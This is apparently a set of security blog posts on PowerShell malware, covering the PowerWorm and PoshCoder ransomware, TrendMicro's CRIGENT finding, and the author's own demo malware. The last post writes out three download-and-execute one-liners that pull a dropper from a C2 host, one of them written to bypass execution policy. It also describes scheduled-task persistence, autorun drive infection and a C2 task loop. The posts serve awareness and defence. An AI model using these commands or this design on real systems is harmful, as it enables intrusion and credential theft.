PowerWorm Analysis and Weaponized PowerWorm

So Matt Graber posted a few weeks ago three items of significant importance for PowerShell security folks.

The first, is he has performed an extremely detailed analysis of PowerWorm, the PowerShell malware that TendMicro found about a month ago and I wrote about as well. Matt has gone one better though, and rewritten the code, make it safe, and cleaned up the abstraction and obfuscation and put all of the code up on GitHub.

I recommend everyone, both those who are interested in PowerShell and those who are interested in malware to take a look.

Matt talks about why the PowerShell execution policy doesn’t help, the code uses the –endcodedcommand parameter when calling powershell.exe. I didn’t know about this till recently, and I was shocked at its effectiveness. If you haven’t looked into this one, I so thoroughly recommend you do, it is amazing.

There is plenty of other interesting things though, considering how this malware users PowerShell and WMI to persist. As I mentioned earlier, the use of the Net.WebClient explained why Polipo was needed as well as Tor.

I also was highly interested in the use of freegeoip.com, I have already started writing some code to make use of this site. I recommend you take a look.

Please go and look at the Matt’s post, and at his GitHub code.

But wait, there is much more! PowerWorm has picked up the functionality of CryptoLocker!!!!

Matt also tweeted a link to this post at Bleeping Computer, which describes a new variant of PowerWorm, dubbed PoshCoder or PoshKoder. This variant is encrypting files and folders in a manner similar to CryptoLocker, and then demanding the victim pays a fee of a couple of bitcoin.

The posts on Bleeping Computer do reference more volatile code, so I do warn you that it isn’t safe to play with unlike Matt’s deactivated code, so be careful. If you want to play, look at Matt’s code.

One interesting thing, is amongst these posts, it appears the malware writer makes an appearance. Whilst I and those on the forum could be wrong, there are some cryptic comments by one of the posters who makes even me wonder.

What is interesting, is that what Matt, TendMicro, myself and most others thought was harmless, has been successfully weaponized, and done so entirely in PowerShell. This malware, PoshCoder, is just as dangerous as CryptoLocker, but nowhere near as detectable. Right now, the low infection rates have prevented this from becoming a massive problem.

Last thing, paying the ransom doesn’t seem to be effective. There is a glitch somewhere and decryption isn’t working correctly. So bad news for anyone infected, you probably can’t get your files back.

Good news, some people have reported that Microsoft Security Essentials is detecting the malware.

More PowerShell Malware Found In The Wild

Last night Matt Graeber of @mattifestation published a tweet that quickly gained my interest:

Woot! More PowerShell (albeit lame) found in the wild. http://t.co/jQk1kL6TRD

— Matt Graeber (@mattifestation) March 28, 2014

 Matt's interesting Tweet

Matt was commenting on a TrendMicro post, Word and Excel Files Infected Using Windows PowerShell, in regards to another (in Matt’s words, “lame”,) discovery of PowerShell Malware. TrendMicro discovered two pieces of malware W97M_CRIGENT.A and X97M_CRIGENT.A, which really in the big picture are quite unremarkable pieces of malware.

There are however, some functions/features of this malware that will be interesting to anyone who saw my presentation.

Firstly, the malware enters via an infected Word or Excel document, much like the initial entry during my presentation. The malware that TrendMicro discovered is significantly more complex than mine is, making use of some interesting DNS queries and cloud storage provides for hosting things like Tor and Polipo. The use of DNS TXT records I find incredibly interesting.

One thing I thought was left out of the TrendMicro post is, why Polipo? Well the answer is extremely obvious to someone who has spent a significant amount of time developing PowerShell or even .Net code! The answer is, and I say this without seeing the code, they (the malware author) wanted to use the Net.WebClient object, which does not support SOCKS proxies. The author wanted to route the traffic via Tor, and needed Polipo to provide a HTTP proxy to route the WebClient traffic via Tor. How do I know this, well, I have deployed an extremely similar configuration for another project I was working on.

Once the malware has Tor and Polipo locally, it connects to the C&C server via the Tor network. The malware uploads a chunk of information to the C&C server, including:

• IP Address
• Country code
• Country name
• Region code
• Region name
• City
• Zipcode
• Latitude
• User account privilege
• OS version
• OS architecture
• Domain
• OS Language
• Microsoft Office applications
• Microsoft Office versions

Most of this are easily gathered with PowerShell, I pretty much included most of these in my presentation, if you remember:

An excerpt from my PowerShell Shenanigan’s code, found here.

Whilst I do not have all of the information there, it is extremely easy to extend what I had.

The malware seems to be a throw back from 90s, running off and infecting Word and Excel documents as a mechanism for propagation.

Whilst the use of PowerShell really did not seem to why TrendMicro thought it was blog worthy, they seemed to focus on the use of Tor; I think it is a wholly interesting piece of code.

I would love to look at the samples, as would Carlos Perez (@Carlos_Perez). I would love to see how well developed the PowerShell is! If anyone has seen the samples, please contact me!

PowerShell Malware

I was originally planning to publish this blog post in a few weeks’ time, once I had covered some more PowerShell basics however; things have forced me to proceed sooner.

Sophos on the Naked Security Blog posted an article on some ransomware written in PowerShell, which was then written about on LifeHacker; from there my inbox received numerous emails. I felt compelled at this point to write about my PowerShell Malware.

Back in December, I did a presentation at Infrastructure Saturday titled Malware, What! The aim of the presentation was to show IT Professionals how bad guys can get into their networks, and then some things that they can do once they get in. The situation was that of a former employee going rogue and wanting to cause major embarrassment to his former employer, boss, and teammates.

I used some very simple social engineering attacks for the attacker to get a foothold and install a very simple piece of malware. With the simple malware, the attacker obtains domain administrator credentials, gains administrative access to a domain controller and finally dumps the hashes in the Active Directory database then uses CloudCracker to crack those. I finished the session with some HID hacking.

The one important thing was that the simple malware used, written by myself, was entirely in PowerShell. Why did I use PowerShell? Firstly, I wanted to show IT Professionals, in a simple way, what the inner workings of a piece of malware might look like. If IT Professionals saw some simple code that went off to a remote C2 server, downloaded a set of instructions, and executed each one, then they might start to come up with some strategies to protect their organisations. Another reason to use PowerShell is that it honestly makes a great platform for a backdoor. Microsoft made PowerShell as a platform for Administrators to manage large fleets of computers, or in another view, for bot net/malicious users to manage large fleets of infected computers.

One other thing I want to cover before I start showing you more of the actual malware, I wanted to point out that in my demonstration, the scripts were all digitally signed, the cert performing the signing was trusted by all of the computers in the victims network. For safety, I used a certificate issued by a private CA I created (and like the rest of the C2 infrastructure have taken down), but in real life, it could easily have been a valid third part certificate. So much malware are digitally signed, and I wanted to continue this theme, besides, it allows us to bypass some of PowerShell’s built in security.

So how did my malware work? The malware has several parts, a dropper “Infect-WebPC.ps1”, the code which will go off and talk to the C2 infrastructure <>…

Let us look at the infection of a user’s computer. In my example organisation, everyone was running Windows 7, with UAC off and with users running as local admin, much like a large number of organisations. This is a popular configuration for software developers.

In my presentation, the attacker tricked users into running one of three commands:

1.

@powershell -NoProfile -ExecutionPolicy unrestricted -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"

2.

@powershell -noprofile -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"

3.

@powershell -noprofile -command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');$exp = '';get-content c:\programdata\infect-webpc.ps1 | foreach {$_.trim()} | where-object {!$_.startswith('#')} | foreach { if ($_.startswith('{')) { $exp=$exp+$_ } else { $exp = $exp + ';' + $_}};invoke-expression $exp"

The first will work against any user whose PowerShell execution policy is the set to the default. All we are doing is asking PowerShell to use the .Net frameworks WebClient object to download our PowerShell dropper script and then execute it. Notice here we specify the PowerShell’s session execution policy to unrestricted.

The second is actually simpler than the first, and will work whenever the execution policy set to “RemoteSigned” or “AllSigned”, other than that, it is the same as the first one.

The third is the kicker; this one BYPASSES the restricted mode execution policy setting. Normally no scripts would run, yet in this case, I can get my dropper to run. How?? Well, we start by downloading the dropper script as we previously did, but we do some other things instead of simply executing the script. This time we read the script, and then turn the nicely formatted script into a PowerShell “one-liner”, from there we use invoke-expression to run that one-liner. Now we are running our malicious code, bypassing that lovely security policy.

So far, things are simple; now let us look at the dropper's code:

Simply put, it will see if the system is already infected, or if my “don’t infect flag file” is present; if they are, then it does not do anything; otherwise, it runs the following steps:

1. 1.       Downloads the scripts needed: Infect-PC.ps1, Infect-Drives.ps1, invoke-candc.ps1
2. 2.       Downloads two windows task scheduler xml definition files: infectdrives.xml and invokecandc.xml
3. 3.       Imports the two scheduled tasks using schtasks.exe
4. 4.       Runs the two scheduled tasks using schtasks.exe

All very simple for a dropper script.

Now what are the two scheduled tasks? The first is infect-drives.ps1, this runs every 5 minutes and simply put, will drop an autorun.ini file and the infect-pc.ps1 script on every drive (remote or network share) that it gets its hands on to. It is a simple drive infector. I was going to show this off during my presentation, but ran out of time.

The other script, invoke-candc.ps1, and runs every 30 minutes, this script is more interesting than the others are, as it performs most of the workload. The code looks like:

The invoke-candc.ps1 script performs the following steps:

1. 1.       Creates a file containing the running process and installed services, it then uploads this to the C2 server
2. 2.       Downloads a list of tasks to be completed from the C2 server
3. 3.       Reads a file containing the id numbers of previously run tasks
4. 4.       From the task list from the C2 server, it filters out any tasks it has previously run, or any task that has a hostname listed which isn’t it
5. 5.       It will then executes the remaining tasks, and if it completes successfully, logs the task number to a file

Tasks can be anything, from a PowerShell expression, script or any windows executable. In the demo, I used a mixture including:

• Download and upload files
• Download PwdumpX and other password dump tools
• Run PowerShell Scripts

As you can see, it is all very simple.

I have the code up on GitHub, and the slides with my presentation notes are here. The C2 server is down, and will remain that way.